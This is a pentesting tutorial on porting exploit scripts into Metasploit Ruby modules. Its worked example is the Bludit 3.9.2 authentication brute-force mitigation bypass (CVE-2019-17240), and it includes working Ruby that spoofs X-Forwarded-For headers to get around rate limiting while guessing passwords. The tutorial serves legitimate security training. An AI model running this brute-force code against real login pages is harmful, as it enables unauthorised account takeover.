# 🧠 Porting Scripts into Metasploit Modules

### 🚀 Goal

Convert non-Metasploit exploit scripts (like Python or PHP) into proper Metasploit modules using **Ruby**.

📝 Metasploit modules are written in **Ruby** and **use hard tabs**. Familiarity with Ruby and the Metasploit module architecture is essential.

***

### 📁 Organization Tips

* Reuse boilerplate from similar existing modules
* Keep your custom modules neatly stored and organized
* Use proper **snake\_case** naming conventions for filenames (e.g., `bludit_auth_bypass.rb`)

***

### 📦 Example: Porting Bludit Exploit

### 🔍 Existing Related Exploits

Check for already existing modules to reuse structure:

```bash
$ ls /usr/share/metasploit-framework/modules/exploits/linux/http/ | grep bludit
bludit_upload_images_exec.rb
```

We’ll repurpose this file's structure for our own module.

🎯 Target Script:

> Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass

📥 Download the original `.rb` script (e.g., `48746.rb` from ExploitDB), then:

{% code overflow="wrap" %}

```bash
$ cp ~/Downloads/48746.rb /usr/share/metasploit-framework/modules/exploits/linux/http/bludit_auth_bruteforce_mitigation_bypass.rb
```

{% endcode %}

***

### 🔧 Understanding Metasploit Mixins

**Mixins** are modules that bring in functionality to Metasploit modules. These are declared at the top using `include`.

| Mixin                              | Description                       |
| ---------------------------------- | --------------------------------- |
| `Msf::Exploit::Remote::HttpClient` | Enables HTTP interactions         |
| `Msf::Exploit::PhpEXE`             | Used to deliver PHP payloads      |
| `Msf::Auxiliary::Report`           | Used for reporting data to MSF DB |
| `Msf::Exploit::FileDropper` ❌      | *Not required for this exploit*   |

🧠 Reference: [Rapid7 RubyDoc Metasploit Modules](https://rubydoc.info/github/rapid7/metasploit-framework)

***

### 🛠️ Module Structure

#### 📇 Metadata

```ruby
'Name'           => "Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass",
'Description'    => %q{
  Bludit CMS ≤ 3.9.2 has a flaw in its anti-brute force logic. By manipulating the 
  'X-Forwarded-For' header, attackers can bypass rate-limiting protections.
},
'Author'         => [
  'rastating', # Original discovery
  '0ne-nine9'  # MSF Module Author
],
'References'     => [
  ['CVE', '2019-17240'],
  ['URL', 'https://rastating.github.io/bludit-brute-force-mitigation-bypass/'],
  ['PATCH', 'https://github.com/bludit/bludit/pull/1090']
],
```

***

#### ⚙️ Module Options

```ruby
register_options(
  [
    OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
    OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
    OptPath.new('PASSWORDS', [true, 'The list of passwords',
      File.join(Msf::Config.data_directory, "wordlists", "passwords.txt")])
  ])
```

***

### 🧪 Exploit Logic Snippet

```ruby
def get_csrf(client, login_url)
  res = client.get(login_url)
  csrf_token = /input.+?name="tokenCSRF".+?value="(.+?)"/.match(res.body).captures[0]
end

def auth_ok?(res)
  HTTP::Status.redirect?(res.code) &&
    %r{/admin/dashboard}.match?(res.headers['Location'])
end

def bruteforce_auth(client, host, username, wordlist)
  login_url = host + '/admin/login'
  File.foreach(wordlist).with_index do |password, i|
    csrf_token = get_csrf(client, login_url)
    headers = { 'X-Forwarded-For' => "#{i}-#{password[..4]}" }
    data = {
      'tokenCSRF' => csrf_token,
      'username' => username,
      'password' => password
    }
    puts "[*] Trying password: #{password.chomp}"
    auth_res = client.post(login_url, data, headers)
    if auth_ok?(auth_res)
      puts "\n[+] Password found: #{password}"
      break
    end
  end
end
```

***

### 📚 Learn More

* 📘 [**Metasploit: A Penetration Tester’s Guide**](https://nostarch.com/metasploit) – Highly recommended book
* 📝 [**Rapid7 Metasploit Blog**](https://blog.rapid7.com/tag/metasploit/) – Guides and tutorials from the creators

***

Let me know if you want this saved as a Markdown file, or if you want help writing a custom module from scratch!
